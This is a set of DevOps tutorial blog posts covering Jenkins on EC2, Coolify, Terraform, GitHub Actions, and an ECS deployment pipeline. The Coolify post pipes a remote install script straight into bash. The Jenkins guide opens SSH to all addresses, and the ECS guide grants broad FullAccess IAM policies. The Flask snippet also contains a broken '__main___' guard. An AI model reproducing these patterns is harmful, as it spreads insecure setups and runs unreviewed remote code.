- GitLab CI
- CircleCI


### what is Jenkins 🚀

![images.png](/img/blog/introduction-to-jenkins/I3i4Ex8-f.png)

Jenkins is an automation tool ***written in Java*** with built-in plugins for continuous integration tasks. It is used to continuously build and test projects making it easier to integrate the changing codes to it. 

It is a server-based system that runs in servlet containers such as Apache Tomcat. Jenkins is quite easy to configure, modify and extend. It deploys code instantly, generates test reports. 

Jenkins is the most famous Continuous Integration tool,  achieves Continuous Integration with the help of plugins. Plugins allow the integration of Various DevOps stages. If we want to integrate a particular tool, you need to install the plugins for that tool. For example Git,  Amazon EC2, HTML publisher etc.

**Features of Jenkins** 🤩

**Easy Installation** - Jenkins is a self contained java based program ready to run with packages for Windows, macOS and Linux operating systems.

**Easy Configuration** - Easy setup and configured via a web interface which includes error checks and built in help.

**Plugins** - Lots of plugins available in the Update Center and integrates with many tools.

**Extensible** - Jenkins can be extended by that plugin architecture which provides nearly infinite options for what it can be used for.

**Distributed** - Jenkins easily distributes work across multiple machines, helping to speed up builds, tests and deployments across multiple platforms.

### Installing Jenkins 💥

Jenkins can be installed through native system packages, Docker, or even run standalone by any machine with a Java Runtime Environment (JRE) installed.

👉 Checkout this [link](https://www.jenkins.io/doc/book/installing/) for Jenkins installation according to your requirements.

💥 In this blog, I will show step-by-step guide on how to install Jenkins on AWS EC2 instance.

**Steps**

- Create a key pair using Amazon EC2.
- Launch an Amazon EC2 instance
- Install and configure Jenkins

**Prerequisites**

1. An AWS account, if you don’t have one, you can register [here](https://aws.amazon.com/aispl/registration-confirmation/)

2. [Create a key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html#having-ec2-create-your-key-pair)

### Launch an Amazon EC2 instance

👉 Open the Amazon EC2 console by choosing EC2 under Compute.

![Screenshot (908).png](/img/blog/introduction-to-jenkins/Pvy-zOZwL.png)

👉 From the Amazon EC2 dashboard, choose Launch Instance.

![ec2_launch_instance.png](/img/blog/introduction-to-jenkins/GVu8E3HdQ.png)

👉 Then Choose an Amazon Machine Image (AMI). Select the HVM edition of the Amazon Linux AMI. Notice that this configuration is marked Free tier eligible.

![ec2_choose_ami.png](/img/blog/introduction-to-jenkins/DJvJ_6iYL.png)

👉 Now, Choose an Instance Type page, the t2.micro instance is selected by default. 

![Screenshot (909).png](/img/blog/introduction-to-jenkins/6ivEBpk1S.png)

👉 Leave Configure Instance Details, Add Storage and Add Tags steps as default.

👉 Configure Security Group

- Click Add Rule, and then choose SSH from the Type list. Under Source, select Custom and in the text box enter public IP address range enter 0.0.0.0/0.

- Click Add Rule, and then choose HTTP from the Type list.

- Click Add Rule, and then choose Custom TCP Rule from the Type list. Under Port Range enter 8080.

![Screenshot (881).png](/img/blog/introduction-to-jenkins/C6ElqDdeB.png)

👉 Click Review and Launch.

👉 In the Select an existing key pair or create a new key pair dialog box, select Choose an existing key pair, and then select the key pair you created  or any existing key pair you intend to use.

![Screenshot (911).png](/img/blog/introduction-to-jenkins/5Sl50Pywu.png)

⏩ In the left-hand navigation bar, choose Instances to see the ***status of your instance***. Initially, the status of our instance is pending. After the status changes to running, instance is ready for use 🥳


![Screenshot (915).png](/img/blog/introduction-to-jenkins/LeX4_hpEb.png)

### Connect to your Linux instance

⚜ Here, I am using PuTTY to connect to instance.

You can download it from [here](https://www.putty.org/)

✅ From the Start menu, Open PuTTY.

✅ In the Category pane, select Session, and complete the following fields:

✅ In Host Name, enter ec2-user@public_IPv4 address.

![Screenshot (912).png](/img/blog/introduction-to-jenkins/E3RC1I2bq.png)

✅ In the Category pane, expand Connection, expand SSH, and then select Auth. 

✅ Click on Browse.

✅ Select the .ppk file that you generated for your key pair and then click Open.

![Screenshot (913).png](/img/blog/introduction-to-jenkins/7sEDfOUaG.png)

✅ Click Open to start the PuTTY session.


✍ Give root power

```
sudo su - root
``` 

![Screenshot (914).png](/img/blog/introduction-to-jenkins/qonfiphKN.png)

### Download and install Jenkins

✍ Add the Jenkins repo using the following command:

```
wget -O /etc/yum.repos.d/jenkins.repo \
    https://pkg.jenkins.io/redhat-stable/jenkins.repo
```

![Screenshot (905).png](/img/blog/introduction-to-jenkins/z_cV9OdhU.png)

✍ Import a key file from Jenkins-CI to enable installation from the package:

```
rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
```

```
yum upgrade
```

![Screenshot (906).png](/img/blog/introduction-to-jenkins/mVjy1XLk-.png)

✍ Install Java:

```
amazon-linux-extras install java-openjdk11 -y
```

![Screenshot (901).png](/img/blog/introduction-to-jenkins/f3Tdd_ji3.png)

✍ Install Jenkins:

```
yum install jenkins -y
```

![Screenshot (902).png](/img/blog/introduction-to-jenkins/FDYSe9u_M.png)

✍ Enable the Jenkins service to start at boot:

```
systemctl enable jenkins
```

✍ Start Jenkins as a service:

```
systemctl start jenkins
```

✍ check the status of the Jenkins service:

```
systemctl status jenkins
```

![Screenshot (904).png](/img/blog/introduction-to-jenkins/StOFBKHeL.png)

### Configure Jenkins

Jenkins is now installed and running on your EC2 instance. To configure Jenkins:

📌 Connect to http://your_server_Public_IPv4_DNS:8080  from your favorite browser. You will be able to access Jenkins through its management interface:

![Screenshot (886).png](/img/blog/introduction-to-jenkins/eDNjSkNbX.png)

📌 Use the following command for password:

```
cat /var/lib/jenkins/secrets/initialAdminPassword
``` 

![Screenshot (888).png](/img/blog/introduction-to-jenkins/KUztRlesq.png)

![Screenshot (887).png](/img/blog/introduction-to-jenkins/SD7aGPnax.png)

📌 Now click on the Install suggested plugins. This will automatically install the important plugins..

![start.png](/img/blog/introduction-to-jenkins/E3c0J_2aB.png)

📌 We can see below👇 that plugins start downloading…..

![ins.png](/img/blog/introduction-to-jenkins/FR3qX-AQf.png)

📌 Once the installation is complete, Create First Admin User, click Save and Continue.

![create_admin_user.png](/img/blog/introduction-to-jenkins/nEOyJqIJW.png)

![Screenshot (890).png](/img/blog/introduction-to-jenkins/y5hU0AEEA.png)

![Screenshot (891).png](/img/blog/introduction-to-jenkins/REjevsUXG.png)

So now , jenkins is ready to use 😀✌ 

![Screenshot (894).png](/img/blog/introduction-to-jenkins/lx51h8zRA.png)

📌 On the left-hand side, click **Manage Jenkins**, and then click ***Manage Plugins***.
Click on the Available tab, and then enter **Amazon EC2 plugin** at the top right.
Select the checkbox next to Amazon EC2 plugin, and then click Install without restart.

![Screenshot (893).png](/img/blog/introduction-to-jenkins/51h0S-9oZ.png)

### Now , Let's run a simple job 🤩

👉 Click on **New Item** at the top left-hand side of your dashboard.

👉 Enter Item details

- Enter the name of the item you want to create.
- Select Freestyle project
- Click Okay

![Screenshot (896).png](/img/blog/introduction-to-jenkins/vxW5UlgQ5.png)

👉 In Build Environment section, select Execute shell and write a simple command.

![Screenshot (897).png](/img/blog/introduction-to-jenkins/MrDBDs7O6.png)

👉 Save the project

- Click Apply
- Save the project.

👉 Build Source code

Now, in the main screen, Click the Build Now button on the left-hand side to build the source code.

👉 See the console output

Click on the **build number** and then Click on **console output** to see the status of the build you run. It should show you a **success message**.

![Screenshot (898).png](/img/blog/introduction-to-jenkins/W6bGDvNap.png)

**So , our job is successfully done** 😀


I hope this blog will help you all in understanding Jenkins.

**THANKS FOR READING !!**

🔰**KEEP LEARNING !! KEEP SHARING** 🧾🔰

---

# Cool Cool Coolify...

- Canonical: https://blog.kubesimplify.com/coolify
- Published: 2022-03-31

It's not a fancy title!! **[Coolify](https://coolify.io/)** is actually a new fancy product that is an open-source & self-hostable Heroku / Netlify alternative!

## Let's try it out right away??

You can simply install Coolify which runs docker containers (it will automatically install docker if docker is not present on the system)

Install command 

```
/bin/bash -c "$(curl -fsSL https://get.coollabs.io/coolify/install.sh)"
```

![image.png](/img/blog/coolify/9vMcmttdy.png)

```
docker ps
CONTAINER ID   IMAGE                       COMMAND                  CREATED         STATUS         PORTS                                       NAMES
5e84a926eeb4   coollabsio/coolify:latest   "docker-entrypoint.s…"   2 minutes ago   Up 2 minutes   0.0.0.0:3000->3000/tcp, :::3000->3000/tcp   coolify
5c5410613754   bitnami/redis:6.2           "/opt/bitnami/script…"   2 minutes ago   Up 2 minutes   6379/tcp                                    coolify-redis
```

Deployment to Kubernetes is WIP -> I am excited about this !! 


Let's open up the UI - Excited to see how this looks !! 
Just after registering a test user, you get this fancy UI.

![image.png](/img/blog/coolify/obQ5a-XSZ.png)

There is one destination that is local docker. 

## Application deployment from git

Let's quickly create an application by adding  GitHub as the source for applications -

![image.png](/img/blog/coolify/ORlsJYlCN.png)


Next, create the GitHub app -

![image.png](/img/blog/coolify/29wuXpeZN.png)

Next would be to add repositories -

![image.png](/img/blog/coolify/v2R1sLVZ3.png)

Now I can select the repo and branch (Argo,main in my case)

![image.png](/img/blog/coolify/r8EA3Dl4A.png)

Choose local docker and build a pack for it -

![image.png](/img/blog/coolify/ieYBTZNWR.png)

Provide the details for the app and you will be able to see the logs. 

![image.png](/img/blog/coolify/vWieKSw0k.png)

![image.png](/img/blog/coolify/KKzlNicGe.png)

THATS IT!!! your application is deployed with https using coolify!!

![image.png](/img/blog/coolify/aF0aOfa29.png)


![image.png](/img/blog/coolify/BKFb6BFOE.png)

Any new push to the main branch will trigger the change and you will be able to see the changes almost immediately!!! 

## Service creation

Let's create the service from the predefines set of applications,

![image.png](/img/blog/coolify/FHqB9fywL.png)

Let's go with our favourite one - WordPress!! 

![image.png](/img/blog/coolify/bzADOVMwz.png)

![image.png](/img/blog/coolify/mNJb7MVVl.png)


![image.png](/img/blog/coolify/ph47--WW8.png)

Once again you get the WordPress application up and running with https!! this is DOPE!!


![image.png](/img/blog/coolify/XFveCCZ3r.png)

Let's see the containers that are running:
```
docker ps
CONTAINER ID   IMAGE                                      COMMAND                  CREATED          STATUS          PORTS                                                                                                                                                                                                       NAMES
4282d8fcd5e4   wordpress:latest                           "docker-entrypoint.s…"   2 minutes ago    Up 2 minutes    80/tcp                                                                                                                                                                                                      cl1dp7mdp611550ppkarwixdd2
f871916140ff   bitnami/mysql:5.7                          "/opt/bitnami/script…"   2 minutes ago    Up 2 minutes    3306/tcp                                                                                                                                                                                                    cl1dp7mdp611550ppkarwixdd2-mysql
19609515116a   cl1dol48u545120ppk0s8jnttc:0dd6408         "/entrypoint.sh pyth…"   14 minutes ago   Up 14 minutes   80/tcp, 443/tcp                                                                                                                                                                                             cl1dol48u545120ppk0s8jnttc
6d8b6be9139d   coollabsio/coolify-haproxy-alpine:latest   "/docker-entrypoint.…"   5 hours ago      Up 5 hours      0.0.0.0:80->80/tcp, :::80->80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp, 0.0.0.0:5000->5000/tcp, :::5000->5000/tcp, 0.0.0.0:5555->5555/tcp, :::5555->5555/tcp, 0.0.0.0:8404->8404/tcp, :::8404->8404/tcp   coolify-haproxy
5e84a926eeb4   coollabsio/coolify:latest                  "docker-entrypoint.s…"   5 hours ago      Up 5 hours      0.0.0.0:3000->3000/tcp, :::3000->3000/tcp                                                                                                                                                                   coolify
5c5410613754   bitnami/redis:6.2                          "/opt/bitnami/script…"   5 hours ago      Up 5 hours      6379/tcp                                                                                                                                                                                                    coolify-redis

```

I think this is a really cool project, once it is able to run on Kubernetes, other git providers integrations and remote docker engine support - which I know is already in progress or at least on the roadmap!! 

**Huge thanks to Andras Bacsai for building this! **

Follow kubesimplify if you want such amazing articles!

---

# Introduction to Terraform.

- Canonical: https://blog.kubesimplify.com/introduction-to-terraform
- Published: 2022-03-30

## **What is Terraform?**   
Terraform is an open-source **Infrastructure As a Code** (IAC) software tool created by HashiCorp. It allows you to automate and manage your infrastructure and your platform and the services that run on the platform. 
It uses declarative language.  

>  Declarative language: meaning you don't have to declare every step on how the automation and management are done you just have to add what you want and the final result and Terraform will figure out how to do it.

> Imperative Language: meaning you have to define exact steps on how you have to execute. 

Terraform is a tool for infrastructure provisioning meaning 
for eg., You started a project where you created an application and you want to create an infrastructure from scratch where the application will be running. So let's say we want to spin up some servers deploy some microservice applications as Docker containers and also deploy a database container and choose AWS to build your whole infrastructure on.   

![Screenshot 2022-03-26 at 10.16.44 PM.png](/img/blog/introduction-to-terraform/uITNDQy-K.png)

**Some of the steps you will follow to prepare Infrastructure so that application can be deployed will be to create a **
1. private network space.
2. EC2 server instances.
3. Install Docker and other tools you need 
4. Security or add firewalls or networks etc.
Once you have prepared the infrastructure you can deploy your application. 

We can divide these into two different tasks:
a. Provisioning Infrastructure so that application can be deployed.
b. Deploying application.

## You might wonder where does Terraform comes into the picture??     

-> Terraform is used for provisioning the infrastructure to deploy the application.     
- Like creating VPC (it is a virtual network specific to you within AWS for you to hold all 
your AWS services).       
- Spinning up the servers.     
- Create AWS users and permissions.    
- Installing Docker of a specific version on the server.    

> All of these need to be done in the correct order because one task maybe depends on another.

![TerraformVsAnsible.png](/img/blog/introduction-to-terraform/BHAxzpjaZ.png)

## Difference between Terraform and Ansible?

According to official documentation both does the same thing and sound like the same tools but are not.      
Terraform and Ansible are both IAC(Infrastructure as code) meaning they are both used to automate, provisioning, configure and manage the infrastructure. 
- Terraform is relatively new and Ansible is mature.   
- Terraform is much more advanced in orchestration and is changing dynamically.
- Managing can be done very easily using terraform
- Terraform mainly focuses on Infrastructure provisioning tools and can also deploy apps.     

Ansible on the other hand is mainly a configuration tool so once the infrastructure is provisioned Ansible can be used to 
- configure that infrastructure.
- deploy applications 
- install/update software etc.

We can say that both overlaps in what each does where Terraform is better for infrastructure and Ansible are better for configuring that infrastructure. So the best practice would be to use the combination of both and set up end to end.

## Terraform Architecture
![tf config file.png](/img/blog/introduction-to-terraform/UBPPyFjxx.png)

Terraform has **two main components** that make up its architecture.
- Core: It uses two input sources to do its job      
  a. Terraform config file which you create on what should be created and provisioned.      
  b. Terraform State where it keeps the up-to-date state of setup. 
So core takes the inputs and figures out what should be done. So it compares the current state and desired state so it checks if you want something else Terraform figures out what needs to be done and completes it to get the desired state.
- Providers: Cloud providers like AWS, Azure, GCP, etc, and Terraform also have some high-level providers like Kubernetes, etc.
> [Cloud Providers Lists](https://registry.terraform.io/browse/providers)

**Example of Configuration File: 
**![Screenshot 2022-03-26 at 11.46.54 PM.png](/img/blog/introduction-to-terraform/todnYgu_L.png)

## Some Basic Terraform commands:

- `terraform refresh` command: Queries infrastructure provider to get the current state.

- `terraform plan` command:  create an execution plan on what actions are necessary to achieve the desired state.

- `terraform apply` command: executes the plan. Basically, if you want to execute the changes you just have to use the apply command

- `terraform destroy` command: destroys the whole setup/elements in proper order.

I hope you have got some basic idea on Terraform. Here's the link to their official page so do check out! 
[Terraform](https://learn.hashicorp.com/terraform). 

Join the awesome kubesimplify community for more such blogs!

---

# GitHub Actions 101: What are Github Actions & how to use them? A Beginner's Guide.

- Canonical: https://blog.kubesimplify.com/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide
- Published: 2022-03-29

###  Introduction

Github is a famous code hosting platform that's been used worldwide by many many developers in the Open Source world. Being a Project maintainer might get tedious sometimes if you have lots of contributions coming in. It requires you to build, test, and deploy your code as a part of a process. Here is when Github Actions come to use.

### What are Github Actions?

*In the simplest terms, Github Action is a platform to automate Developer Workflow. *

![blog.gif](/img/blog/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide/EAP_Bstjv.gif)

### Understanding some basic Terminologies

#### What are those Workflows?
According to [Github Documentation](https://docs.github.com/en/actions/learn-github-actions/understanding-github-actions)

> "A workflow is a configurable automated process that will run one or more jobs. 
You can have multiple workflows in a repository, each of which can perform a different set of steps". 
In simple terms, `a chain of automated Actions`triggered through an event is a Workflow.

#### What is an Event?

An **event **is a specific activity in a repository that triggers a workflow run happening to your repository.  eg: Someone creating an issue or a pull request is an event or someone joining in as a contributor. ***The chain of automated actions could be sorting, labelling, and assigning the Issues.*** This is the exact job of Github Actions!

You would have a fair understanding of this once we commit our first Workflow.

## Let's start by Writing our first  basic Github Actions:
The most common workflow for your repository is the Continuous Integration and Continuous Delivery (CI/CD) pipeline. You write your code, the build starts, it tests your code builds it into an artifact then pushes the artifact and deploys the application in a deployment server. With, Github Actions the setup process for a pipeline is easy.

![CI-CD.png](/img/blog/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide/Zp7vAcmBp.png)

- 

  ** Where to find Github Actions?**

Login to your Github Profile and head on to the repository for which you want to automate the workflows. 

Note that: Github Actions are associated with the repository &
you can have multiple workflows defined for a single repository.

![github actions.PNG](/img/blog/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide/rnP9TuDrW.PNG)
Now that you've found the Github Actions tab, click on it. You can see all the different workflows templates for deployment, integration, security, etc. 
To follow along with this article, In the Automation section choose "Greetings" and click configure.

1. In your repository, a `.github/workflows/ `
 the directory is created to store your workflow files. 📁
2. In the ` .github/workflows/`
directory,  a new file called greetings.yml is generated. This is the workflow file written in YAML. You may rename the Workflow file as per your own wish. 

The syntax of the YAML file is explained below.

```
name: Greetings

on: [pull_request, issues]

jobs:
  greeting:
    runs-on: ubuntu-latest
    permissions:
      issues: write
      pull-requests: write
    steps:
    - uses: actions/first-interaction@v1
      with:
        repo-token: ${{ secrets.GITHUB_TOKEN }}
        issue-message: 'Thank you for creating an issue"'
        pr-message: " Thank you for creating your first pull request. It will be reviewed soon"

``` 

The **name** of the Workflow is optional. It defines what the workflow is doing. Here, we have kept it as default i.e Greetings.👋

The **on** specifies the event that triggers the workflow.  We have defined it for pull requests and issues. You may also exclusively mention it for a specific branch. (for PR)

**Jobs** is the part that gets executed whenever the specified event happens. "greetings" is the default name of the job. You may name it anything. Actions can install software for the environment, set up authentication, or automate complex sets of tasks. 

[`- uses: actions/first-interaction@v1`](https://github.com/actions/first-interaction) is an action for filtering pull requests and issues from first-time contributors.
Anybody who creates a pull request or an issue for the first time would be greeted automatically with the pr-message and issue-message respectively. 

Once you’ve chosen your workflow & customized it press the “start commit” button. 

Within seconds the Github Actions bot will send you an automated Greetings message in the comments and also its notification will be sent via email. 

**FOR FIRST TIME ISSUE**👇:

![Github Actions msg.PNG](/img/blog/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide/1LoteXzqN.PNG)
**FOR FIRST TIME PULL REQUEST**👇: 
![github 2.PNG](/img/blog/github-actions-101-what-are-github-actions-and-how-to-use-them-a-beginners-guide/3GEef0CrW.PNG)

There, you made it through. Your first Github Actions Workflow is successfully configured. 👏 Do try other category templates too according to your project. 

## Conclusion
If you liked the blog don't forget to like, share and Follow for more such tech blogs.
Also, feel free to connect with me on [Twitter](https://twitter.com/Ruhika60291557?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor). Thank you for your patient reading <3

---

# CI/CD Pipeline: GitHub Actions with AWS ECS

- Canonical: https://blog.kubesimplify.com/cicd-pipeline-github-actions-with-aws-ecs
- Published: 2022-03-28

#### Introduction
**CI/CD** are parts of the DevOps process for delivering new software as soon as possible with help of automated test and automation build tools like Jenkins, GitHub-Actions. </br>
Few benefits of implementing CI/CD in your organization:
- Faster Delivery
- Observability
- Smaller Code Change
- Easier Rollbacks
- Reduce Costs</br>

**AWS Elastic Container Service** it gives you a managed set of tools to run Docker containers over AWS maintained compute resources.</br>
In this blog post, I will explain "how to Dockerize a flask hello-world application that takes a message from an env variable and pushes it to AWS ECR"

**Prerequisites**
- AWS Components
> Identity and Access Management (IAM)</br>
> Elastic Container Registry (ECR)</br>
> Elastic Container Service (ECS)</br>
> Elastic Compute Cloud (EC2)</br>
> Application Load Balancer</br>
- Code, simple "Hello world!" flask app
- Dockerize flask app
- GitHub account for push code into it and CI/CD workflow(gh-actions)

--- 

### Architecture
This is how our architecture will look like after setting up the CI/CD Pipeline with AWS

![image.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/XQloQP67F.png)

### Creating IAM users (console)

You can use the AWS Management Console to create IAM users.
1. Sign in to the AWS Management Console and open the [IAM console](https://console.aws.amazon.com/iam/) 

2. In the navigation pane, choose Users and then choose Add users
3. Type the user name for the new user. This is the sign-in name for AWS
4. Select the type of access the user will have. Programmatic access is enough.
5. Choose Next: **Permissions**
6. **Tags** is Optional, you can skip this
7.  Now, **Review** to see all of the choices you made up to this point. When you are ready to proceed, choose **Create user**
8. To save the access keys, choose Download .csv and then save the file to a safe location

```
AmazonEC2FullAccess
AmazonEC2ContainerRegistryFullAccess
AmazonECS_FullAccess
EC2InstanceProfileForImageBuilderECRContainerBuilds
```


![permissoions.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/lVlzXdzBS.png)

### Elastic Container Registry (ECR)

 Now we are going to create an image repository
- Open the [Amazon ECR console](https://console.aws.amazon.com/ecr/)
- Choose to Get Started
- For Visibility settings, choose Private
- For Repository name, specify a name for the repository
- Choose to Create a repository

![ecr.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/HAnklyhCV.png)

![ecr2.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/L9-Snn1mE.png)

 ### Elastic Container Service (ECS)

Components:</br>
- Task definition
- Cluster
- Service

#### Create Task definition
A task definition is required to run Docker containers in Amazon ECS.</br>
Let's create Task definition:

- Open the [Amazon ECS console](https://console.aws.amazon.com/ecs/v2)
- Choose **EC2**
- In the navigation pane, choose Task Definitions, Create a new task definition.
- For the Task definition family, specify a unique name for the task definition.
- Assign a **Task role**, if don't have a Task role then skip it.
- Container definitions, click on Add container. In *container name * add ECR repo name and at the place of Image add ECR repo URI link. And other details are shown below in the image
![ecs1.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/FLL7mrsiW.png)

#### Create Cluster
- Open the [Amazon ECS console](https://console.aws.amazon.com/ecs/)
- In the navigation pane, choose Clusters.
- On the Clusters page, choose Create Cluster.
- Select cluster template: **EC2 Linux + Networking**
- On the Configure cluster page, enter a Cluster name.
- On Instance configuration, go with (t2.micro) it is under free tier. And create an SSH key for your instance as well.
- Choose to Create.

#### Create Service
- In Configure service, set Launch type (EC2), Service Name, and Number of tasks(1). For other options stay with default. 
- Next Step, Select Application Load Balancer(ALB)
- Configure your ALB settings with your running EC2 VPC. In target group settings you have entered the port number 5000

![TG.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/PZG3IXwXY.png)
- Come back to ECS Services, and select your the ALB and Target Group
- Choose Create service

### AWS Security Groups
Edit EC2 Inbound Security Groups rules like this ->


![SG.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/Wj1tkNSBY.png)


Note: In All traffic rules we have to give the security group's name on which EC2 instance running.


Now, make a GitHub repo and push Flask app code and Dockerfile into it.


Flask app code

```
import os
from flask import Flask

app = Flask(__name__)

@app.route('/')
def SayHello():
    return f"{os.environ.get('MSG')}"

if __name__ == '__main___':
    app.run(debug=True, port=5000, host='0.0.0.0')

```
GitHub Repository for code: [https://github.com/rishavmehra/Kubesimplify-CI-CD](https://github.com/rishavmehra/Kubesimplify-CI-CD)

Dockerize this flask Application code which responds with a message that is set up as an environment variable and deploys the docker image to AWS ECR.

### Dockerfile

```
FROM python:3.9-alpine
WORKDIR /<github-repo>
ENV  MSG="Hello World!"
COPY . .
RUN pip3 install -r requirement.txt
EXPOSE 5000
CMD [ "python3", "-m" , "flask", "run", "--host=0.0.0.0"]
```
GitHub Repository for Dockerfile: https://github.com/rishavmehra/Kubesimplify-CI-CD
Let’s just try to understand the instructions of our Dockerfile.

- **FROM** python:3.9-alpine</br>
This will be our base image for the container.</br>
- **WORKDIR** /github-repo</br>
This will be set as a working directory in the container.</br>
- ENV MSG="Hello World!"</br>
this MSG env passed in flask code and return Hello World!</br>
- **COPY** . . </br>
Copy files and folders with dependencies from the host machine to the container.</br>
- **RUN** pip3 install -r requirement.txt</br>
Install dependencies.</br>
- **EXPOSE** 5000</br>
Allow to port 3000 of the container.</br>
- **CMD** [ "python3", "-m" , "flask", "run", "--host=0.0.0.0"]</br>
Start the application</br>
This is the Docker file that we will use to create a docker image.

### GitHub secrets
Now we are going to put our AWS credentials in GitHub secrets in the working repository.

- Under your repository name, click  Settings</br>
- In the left sidebar, click Secrets </br>
- Under Secrets, click on Actions
- Now set New repository secret


```
AWS_ACCESS_KEY_ID= xxxxxxxxxxxxx
AWS_REGION= xxxxxxxxxxxx
AWS_SECRET_ACCESS_KEY=xxxxxxxx
```
![secrets.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/HXEK3dIBZ.png)

---

For running our CI/CD we need task-definition, it is the requirement for the CI/CD pipeline with GitHub-actions.</br>
Go to the Cluster, click on the “Tasks Definitions ” tab, and then open the running “Task”. Click on the “JSON” and copy all the JSON text and put into a .json file  and push it on GitHub

### GitHub Actions

What is GitHub action? </br>
>GitHub Actions is a continuous integration and continuous delivery platform that allows you to automate your development workflow. GitHub Actions allows you to create, test, and deploy your code all from within GitHub in a fast, safe, and scalable manner. Every time you push, a build is immediately generated and executed, allowing you to quickly test each and every commit.

To know about gh-actions in detail: [Click Here](https://github.com/rishavmehra/GitHub-Actions)

GitHub-Actions **Workflow**:

>Workflow is a configurable, automated process that we can use in our repository to build, test, package, release, or deploy your project. Workflows are made up of one or more “jobs" and can be triggered by GitHub events

Create your pipeline with Github Actions </br>
On your GitHub repository select the Actions tab.</br>
In search bar search for **Deploy to Amazon ECS** and configure it.</br>


![workflow.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/pzkfsbWXV.png)

It will add a file to your repository (/.github/workflows/aws.yml) that represents your GitHub Actions.

```
name: Deploy to Amazon ECS

on:
  push:
    branches:
      - main

env:
  AWS_REGION: MY_AWS_REGION                   # set this to your preferred AWS region, e.g. us-west-1
  ECR_REPOSITORY: MY_ECR_REPOSITORY           # set this to your Amazon ECR repository name
  ECS_SERVICE: MY_ECS_SERVICE                 # set this to your Amazon ECS service name
  ECS_CLUSTER: MY_ECS_CLUSTER                 # set this to your Amazon ECS cluster name
  ECS_TASK_DEFINITION: MY_ECS_TASK_DEFINITION # set this to the path to your Amazon ECS task definition
                                               # file, e.g. .aws/task-definition.json
  CONTAINER_NAME: MY_CONTAINER_NAME           # set this to the name of the container in the
                                               # containerDefinitions section of your task definition

jobs:
  deploy:
    name: Deploy
    runs-on: ubuntu-latest
    environment: production

    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@13d241b293754004c80624b5567555c4a39ffbe3
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
          aws-region: ${{ env.AWS_REGION }}

      - name: Login to Amazon ECR
        id: login-ecr
        uses: aws-actions/amazon-ecr-login@aaf69d68aa3fb14c1d5a6be9ac61fe15b48453a2

      - name: Build, tag, and push image to Amazon ECR
        id: build-image
        env:
          ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }}
          IMAGE_TAG: ${{ github.sha }}
        run: |
          # Build a docker container and
          # push it to ECR so that it can
          # be deployed to ECS.
          docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG .
          docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG
          echo "::set-output name=image::$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG"

      - name: Fill in the new image ID in the Amazon ECS task definition
        id: task-def
        uses: aws-actions/amazon-ecs-render-task-definition@97587c9d45a4930bf0e3da8dd2feb2a463cf4a3a
        with:
          task-definition: ${{ env.ECS_TASK_DEFINITION }}
          container-name: ${{ env.CONTAINER_NAME }}
          image: ${{ steps.build-image.outputs.image }}

      - name: Deploy Amazon ECS task definition
        uses: aws-actions/amazon-ecs-deploy-task-definition@de0132cf8cdedb79975c6d42b77eb7ea193cf28e
        with:
          task-definition: ${{ steps.task-def.outputs.task-definition }}
          service: ${{ env.ECS_SERVICE }}
          cluster: ${{ env.ECS_CLUSTER }}
          wait-for-service-stability: true
```
**Environment Variables:**

1. AWS_REGION — Operating region of AWS services.
2. ECR_REPOSITORY — Name of the ECR repository that you have created.
3. ECS_SERVICE — Service name of the ECS Cluster.
4. ECS_CLUSTER — Name of the ECS Cluster.
5. ECS_TASK_DEFINITION — Path of the ECS task definition in JSON format which is stored in GitHub repository.
6. CONTAINER_NAME — Docker container name under the ECS task definition.

- After setting all of this env's start committing the .yaml

![commit.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/RP113iV5t.png)
GitHub Repository for workflow: https://github.com/rishavmehra/Kubesimplify-CI-CD
### Deployment & Result

*** First deployment***
![deploy.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/xMrFeyuIo.png)
*** First Result***
![result.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/OxhgZoNe1.png)

### One More Test
The main working of CI/CD pipeline is automates your software delivery process.
So, if you change ENV value of Dockerfile it will doing the same thing. It will change display value automatically. 

```
ENV  MSG="Hello World!"     // previous value
ENV  MSG="Hello World from kubesimplify" // new Value
```

**New Result:**

*** Second deployment***
![second build.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/lLYfZALfs.png)
*** Second Result***
![result2.png](/img/blog/cicd-pipeline-github-actions-with-aws-ecs/m0kfXsE3U.png)

***Congratulations!*** You have a working gh-actions **CI/CD** Pipeline to deploy your flask containerized application on AWS ECS whenever there is a change in your source code.

### Cleanup the resources we created
it is always better to delete the resources you created while carrying out the POC

- Delete the GitHub Secrets
- Delete the GitHub Repository
- Delete the IAM User
- Delete the ECR Repository
- Delete the ECS Cluster, Tasks, Services
- Delete the EC2 resource

### Conclusion

A CI/CD Pipeline serves as a way of automating your software applications’ builds, tests, and deployments. It is the backbone of any organization with a DevOps culture. It has numerous benefits for software development and it boosts your business greatly.

Join the awesome kubesimplify community for more such blogs!🤩

---

# Navigating through CNCF landscape

- Canonical: https://blog.kubesimplify.com/navigating-through-cncf-landscape
- Published: 2022-03-27

#### What is CNCF?
